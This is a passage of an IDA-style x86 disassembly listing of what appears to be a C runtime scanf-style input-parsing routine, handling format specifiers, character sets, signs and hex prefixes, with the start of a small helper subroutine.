		jz	short loc_41D8FA

loc_41D8F2:				; CODE XREF: sub_41D797+122j
					; sub_41D797+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8F7:				; CODE XREF: sub_41D797+154j
		inc	[ebp+var_D]

loc_41D8FA:				; CODE XREF: sub_41D797+159j
		inc	[ebp+var_5]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8FF:				; CODE XREF: sub_41D797+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_41D905:				; CODE XREF: sub_41D797+107j
					; sub_41D797+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41D85E
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41D92A
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_41D92A:				; CODE XREF: sub_41D797+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41D948
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41D944
		cmp	al, 43h
		jz	short loc_41D944
		or	[ebp+var_5], 0FFh
		jmp	short loc_41D948
; ---------------------------------------------------------------------------

loc_41D944:				; CODE XREF: sub_41D797+1A1j
					; sub_41D797+1A5j
		mov	[ebp+var_5], 1

loc_41D948:				; CODE XREF: sub_41D797+19Bj
					; sub_41D797+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41D981
		cmp	esi, 63h
		jz	short loc_41D972
		cmp	esi, 7Bh
		jz	short loc_41D972
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41E224
		pop	ecx
		jmp	short loc_41D97D
; ---------------------------------------------------------------------------

loc_41D972:				; CODE XREF: sub_41D797+1C5j
					; sub_41D797+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3

loc_41D97D:				; CODE XREF: sub_41D797+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_41D981:				; CODE XREF: sub_41D797+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41D991
		cmp	[ebp+var_C], eax
		jz	loc_41E16D

loc_41D991:				; CODE XREF: sub_41D797+1EFj
		cmp	esi, 6Fh
		jg	loc_41DBF8
		jz	loc_41DEAA
		cmp	esi, 63h
		jz	loc_41DBD5
		cmp	esi, 64h
		jz	loc_41DEAA
		jle	loc_41DC22
		cmp	esi, 67h
		jle	short loc_41D9F5
		cmp	esi, 69h
		jz	short loc_41D9DD
		cmp	esi, 6Eh
		jnz	loc_41DC22
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41E0D8
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41D9DD:				; CODE XREF: sub_41D797+229j
		push	64h
		pop	esi

loc_41D9E0:				; CODE XREF: sub_41D797+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41DC6A
		mov	[ebp+var_17], 1
		jmp	loc_41DC6F
; ---------------------------------------------------------------------------

loc_41D9F5:				; CODE XREF: sub_41D797+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41DA11
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41DA16
; ---------------------------------------------------------------------------

loc_41DA11:				; CODE XREF: sub_41D797+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DA2D

loc_41DA16:				; CODE XREF: sub_41D797+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA30
; ---------------------------------------------------------------------------

loc_41DA2D:				; CODE XREF: sub_41D797+27Dj
		mov	edi, [ebp+arg_0]

loc_41DA30:				; CODE XREF: sub_41D797+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41DA3F
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41DA46

loc_41DA3F:				; CODE XREF: sub_41D797+29Dj
		mov	[ebp+var_C], 15Dh

loc_41DA46:				; CODE XREF: sub_41D797+2A6j
					; sub_41D797+2F2j
		cmp	dword_433E7C, 1
		jle	short loc_41DA5B
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DA66
; ---------------------------------------------------------------------------

loc_41DA5B:				; CODE XREF: sub_41D797+2B6j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DA66:				; CODE XREF: sub_41D797+2C2j
		test	eax, eax
		jz	short loc_41DA8B
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DA8B
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA46
; ---------------------------------------------------------------------------

loc_41DA8B:				; CODE XREF: sub_41D797+2D1j
					; sub_41D797+2DBj
		cmp	byte_433E80, bl
		jnz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		mov	al, byte_433E80
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_41DAB4:				; CODE XREF: sub_41D797+360j
		cmp	dword_433E7C, 1
		jle	short loc_41DAC9
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DAD4
; ---------------------------------------------------------------------------

loc_41DAC9:				; CODE XREF: sub_41D797+324j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DAD4:				; CODE XREF: sub_41D797+330j
		test	eax, eax
		jz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DAB4
; ---------------------------------------------------------------------------

loc_41DAF9:				; CODE XREF: sub_41D797+2FAj
					; sub_41D797+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41DB91
		cmp	ebx, 65h
		jz	short loc_41DB11
		cmp	ebx, 45h
		jnz	loc_41DB91

loc_41DB11:				; CODE XREF: sub_41D797+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41DB38
		mov	[esi], al
		inc	esi
		jmp	short loc_41DB3D
; ---------------------------------------------------------------------------

loc_41DB38:				; CODE XREF: sub_41D797+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DB5B

loc_41DB3D:				; CODE XREF: sub_41D797+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41DB4C
		and	[ebp+var_C], eax
		jmp	short loc_41DB5B
; ---------------------------------------------------------------------------

loc_41DB4C:				; CODE XREF: sub_41D797+3AEj
					; sub_41D797+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41DB5B:				; CODE XREF: sub_41D797+3A4j
					; sub_41D797+3B3j
		cmp	dword_433E7C, 1
		jle	short loc_41DB70
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DB7B
; ---------------------------------------------------------------------------

loc_41DB70:				; CODE XREF: sub_41D797+3CBj
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DB7B:				; CODE XREF: sub_41D797+3D7j
		test	eax, eax
		jz	short loc_41DB91
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41DB4C
; ---------------------------------------------------------------------------

loc_41DB91:				; CODE XREF: sub_41D797+366j
					; sub_41D797+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_435FD8
		add	esp, 0Ch
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DBD5:				; CODE XREF: sub_41D797+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41DBE4
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_41DBE4:				; CODE XREF: sub_41D797+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41DBEE
		mov	[ebp+var_16], 1

loc_41DBEE:				; CODE XREF: sub_41D797+451j
		mov	edi, offset dword_436000
		jmp	loc_41DD03
; ---------------------------------------------------------------------------

loc_41DBF8:				; CODE XREF: sub_41D797+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41DEA6
		sub	eax, 3
		jz	loc_41DCF4
		dec	eax
		dec	eax
		jz	loc_41DEAA
		sub	eax, 3
		jz	loc_41D9E0
		sub	eax, 3
		jz	short loc_41DC46

loc_41DC22:				; CODE XREF: sub_41D797+21Bj
					; sub_41D797+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41E16D
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DC46:				; CODE XREF: sub_41D797+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41DC50
		mov	[ebp+var_16], 1

loc_41DC50:				; CODE XREF: sub_41D797+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41DD07
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41DD03
; ---------------------------------------------------------------------------

loc_41DC6A:				; CODE XREF: sub_41D797+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41DC91

loc_41DC6F:				; CODE XREF: sub_41D797+259j
		dec	[ebp+var_C]
		jnz	short loc_41DC80
		cmp	[ebp+var_20], 0
		jz	short loc_41DC80
		mov	[ebp+var_F], 1
		jmp	short loc_41DC91
; ---------------------------------------------------------------------------

loc_41DC80:				; CODE XREF: sub_41D797+4DBj
					; sub_41D797+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41DC91:				; CODE XREF: sub_41D797+4D6j
					; sub_41D797+4E7j
		cmp	ebx, 30h
		jnz	loc_41DEDF
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41DCDF
		cmp	bl, 58h
		jz	short loc_41DCDF
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41DCC9
		push	6Fh

loc_41DCC3:				; CODE XREF: sub_41D797+55Bj
		pop	esi
		jmp	loc_41DEDF
; ---------------------------------------------------------------------------

loc_41DCC9:				; CODE XREF: sub_41D797+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41DEDC
; ---------------------------------------------------------------------------

loc_41DCDF:				; CODE XREF: sub_41D797+517j
					; sub_41D797+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41DCC3
; ---------------------------------------------------------------------------

loc_41DCF4:				; CODE XREF: sub_41D797+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41DCFE
		mov	[ebp+var_16], 1

loc_41DCFE:				; CODE XREF: sub_41D797+561j
		mov	edi, offset dword_435FF8

loc_41DD03:				; CODE XREF: sub_41D797+45Cj
					; sub_41D797+4CEj
		or	[ebp+var_18], 0FFh

loc_41DD07:				; CODE XREF: sub_41D797+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DD2B
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41DD2B
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------

loc_41DD2B:				; CODE XREF: sub_41D797+584j
					; sub_41D797+589j
		mov	dl, [ebp+var_35]

loc_41DD2E:				; CODE XREF: sub_41D797+592j
					; sub_41D797+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41DD93
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41DD7A
		test	dl, dl
		jz	short loc_41DD7A
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41DD7A
		inc	edi
		cmp	dl, cl
		jnb	short loc_41DD4D
		mov	al, cl
		jmp	short loc_41DD51
; ---------------------------------------------------------------------------

loc_41DD4D:				; CODE XREF: sub_41D797+5B0j
		mov	al, dl
		mov	dl, cl

loc_41DD51:				; CODE XREF: sub_41D797+5B4j
		cmp	dl, al
		ja	short loc_41DD76
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_41DD5E:				; CODE XREF: sub_41D797+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41DD5E

loc_41DD76:				; CODE XREF: sub_41D797+5BCj
		xor	dl, dl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------

loc_41DD7A:				; CODE XREF: sub_41D797+5A0j
					; sub_41D797+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------

loc_41DD93:				; CODE XREF: sub_41D797+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41E19D
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DDA5
		mov	[ebp+arg_4], edi

loc_41DDA5:				; CODE XREF: sub_41D797+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41DDBC:				; CODE XREF: sub_41D797+6BCj
					; sub_41D797+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41DDD0
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41DE6C

loc_41DDD0:				; CODE XREF: sub_41D797+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41DE60
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41DE60
		cmp	[ebp+var_E], 0
		jnz	short loc_41DE58
		cmp	[ebp+var_16], 0
		jz	short loc_41DE4D
		mov	ecx, off_433C70
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41DE2C
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		mov	[ebp+var_37], al

loc_41DE2C:				; CODE XREF: sub_41D797+686j
		push	dword_433E7C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_420E98
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41DE50
; ---------------------------------------------------------------------------

loc_41DE4D:				; CODE XREF: sub_41D797+673j
		mov	[esi], al
		inc	esi

loc_41DE50:				; CODE XREF: sub_41D797+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------

loc_41DE58:				; CODE XREF: sub_41D797+66Dj
		inc	[ebp+var_30]
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------

loc_41DE60:				; CODE XREF: sub_41D797+649j
					; sub_41D797+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41DE6C:				; CODE XREF: sub_41D797+633j
		cmp	[ebp+var_30], esi
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41E0FE
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41DE9E
		and	word ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DE9E:				; CODE XREF: sub_41D797+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------

loc_41DEA6:				; CODE XREF: sub_41D797+466j
		mov	[ebp+var_D], 1

loc_41DEAA:				; CODE XREF: sub_41D797+203j
					; sub_41D797+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41DEB8
		mov	[ebp+var_17], 1
		jmp	short loc_41DEBD
; ---------------------------------------------------------------------------

loc_41DEB8:				; CODE XREF: sub_41D797+719j
		cmp	ebx, 2Bh
		jnz	short loc_41DEDF

loc_41DEBD:				; CODE XREF: sub_41D797+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41DECE
		cmp	[ebp+var_20], 0
		jz	short loc_41DECE
		mov	[ebp+var_F], 1
		jmp	short loc_41DEDF
; ---------------------------------------------------------------------------

loc_41DECE:				; CODE XREF: sub_41D797+729j
					; sub_41D797+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax

loc_41DEDC:				; CODE XREF: sub_41D797+543j
		mov	[ebp+var_14], ebx

loc_41DEDF:				; CODE XREF: sub_41D797+4FDj
					; sub_41D797+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41DFF8
		cmp	[ebp+var_F], 0
		jnz	loc_41DFD6

loc_41DEF3:				; CODE XREF: sub_41D797+82Cj
		cmp	esi, 78h
		jnz	short loc_41DF47
		cmp	dword_433E7C, 1
		jle	short loc_41DF10
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF1D
; ---------------------------------------------------------------------------

loc_41DF10:				; CODE XREF: sub_41D797+768j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_41DF1D:				; CODE XREF: sub_41D797+777j
		test	eax, eax
		jz	loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_420F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DF9A
; ---------------------------------------------------------------------------

loc_41DF47:				; CODE XREF: sub_41D797+75Fj
		cmp	dword_433E7C, 1
		jle	short loc_41DF5C
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF67
; ---------------------------------------------------------------------------

loc_41DF5C:				; CODE XREF: sub_41D797+7B7j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DF67:				; CODE XREF: sub_41D797+7C3j
		test	eax, eax
		jz	short loc_41DFC8
		cmp	esi, 6Fh
		jnz	short loc_41DF85
		cmp	ebx, 38h
		jge	short loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_420F90
		jmp	short loc_41DF94
; ---------------------------------------------------------------------------

loc_41DF85:				; CODE XREF: sub_41D797+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_417760

loc_41DF94:				; CODE XREF: sub_41D797+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_41DF9A:				; CODE XREF: sub_41D797+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41DFB2
		dec	[ebp+var_C]
		jz	short loc_41DFD6

loc_41DFB2:				; CODE XREF: sub_41D797+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41DEF3
; ---------------------------------------------------------------------------

loc_41DFC8:				; CODE XREF: sub_41D797+788j
					; sub_41D797+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41DFD6:				; CODE XREF: sub_41D797+756j
					; sub_41D797+819j
		cmp	[ebp+var_17], 0
		jz	loc_41E0BC
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41E0BC
; ---------------------------------------------------------------------------

loc_41DFF8:				; CODE XREF: sub_41D797+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41E0B4

loc_41E002:				; CODE XREF: sub_41D797+90Aj
		cmp	esi, 78h
		jz	short loc_41E046
		cmp	esi, 70h
		jz	short loc_41E046
		cmp	dword_433E7C, 1
		jle	short loc_41E021
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------

loc_41E021:				; CODE XREF: sub_41D797+87Cj
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41E02C:				; CODE XREF: sub_41D797+888j
		test	eax, eax
		jz	short loc_41E0A6
		cmp	esi, 6Fh
		jnz	short loc_41E03F
		cmp	ebx, 38h
		jge	short loc_41E0A6
		shl	edi, 3
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------

loc_41E03F:				; CODE XREF: sub_41D797+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------

loc_41E046:				; CODE XREF: sub_41D797+86Ej
					; sub_41D797+873j
		cmp	dword_433E7C, 1
		jle	short loc_41E05E
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E06B
; ---------------------------------------------------------------------------

loc_41E05E:				; CODE XREF: sub_41D797+8B6j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_41E06B:				; CODE XREF: sub_41D797+8C5j
		test	eax, eax
		jz	short loc_41E0A6
		push	ebx
		shl	edi, 4
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41E07E:				; CODE XREF: sub_41D797+8A6j
					; sub_41D797+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41E090
		dec	[ebp+var_C]
		jz	short loc_41E0B4

loc_41E090:				; CODE XREF: sub_41D797+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41E002
; ---------------------------------------------------------------------------

loc_41E0A6:				; CODE XREF: sub_41D797+897j
					; sub_41D797+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx

loc_41E0B4:				; CODE XREF: sub_41D797+865j
					; sub_41D797+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41E0BC
		neg	edi

loc_41E0BC:				; CODE XREF: sub_41D797+843j
					; sub_41D797+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41E0C5
		and	[ebp+var_1C], 0

loc_41E0C5:				; CODE XREF: sub_41D797+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	short loc_41E0FE
		inc	[ebp+var_34]

loc_41E0D8:				; CODE XREF: sub_41D797+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41E0EE
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------

loc_41E0EE:				; CODE XREF: sub_41D797+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41E0FB
		mov	[eax], edi
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------

loc_41E0FB:				; CODE XREF: sub_41D797+95Ej
		mov	[eax], di

loc_41E0FE:				; CODE XREF: sub_41D797+241j
					; sub_41D797+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E14B
; ---------------------------------------------------------------------------

loc_41E109:				; CODE XREF: sub_41D797+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41E178
		mov	ecx, off_433C70
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E14B
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41E186
		dec	[ebp+var_4]

loc_41E14B:				; CODE XREF: sub_41D797+970j
					; sub_41D797+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E161
		cmp	byte ptr [esi],	25h
		jnz	short loc_41E1A3
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41E1A3
		mov	esi, eax

loc_41E161:				; CODE XREF: sub_41D797+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41D7C1
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------

loc_41E16D:				; CODE XREF: sub_41D797+1F4j
					; sub_41D797+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41E17D
; ---------------------------------------------------------------------------

loc_41E178:				; CODE XREF: sub_41D797+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_41E17D:				; CODE XREF: sub_41D797+9DFj
		call	sub_41E20D
		pop	ecx
		pop	ecx
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------

loc_41E186:				; CODE XREF: sub_41D797+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		add	esp, 10h

loc_41E19D:				; CODE XREF: sub_41D797+1Fj
					; sub_41D797+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E1B4

loc_41E1A3:				; CODE XREF: sub_41D797+9BDj
					; sub_41D797+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41E1B7
		cmp	[ebp+var_15], al
		jnz	short loc_41E1B7
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1B7
; ---------------------------------------------------------------------------

loc_41E1B4:				; CODE XREF: sub_41D797+A0Aj
		mov	eax, [ebp+var_34]

loc_41E1B7:				; CODE XREF: sub_41D797+A11j
					; sub_41D797+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D797	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1BC	proc near		; CODE XREF: sub_41D797+7A3p
					; sub_41D797+8DCp

arg_0		= dword	ptr  4

		cmp	dword_433E7C, 1
		push	esi
		jle	short loc_41E1D6
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E1E5
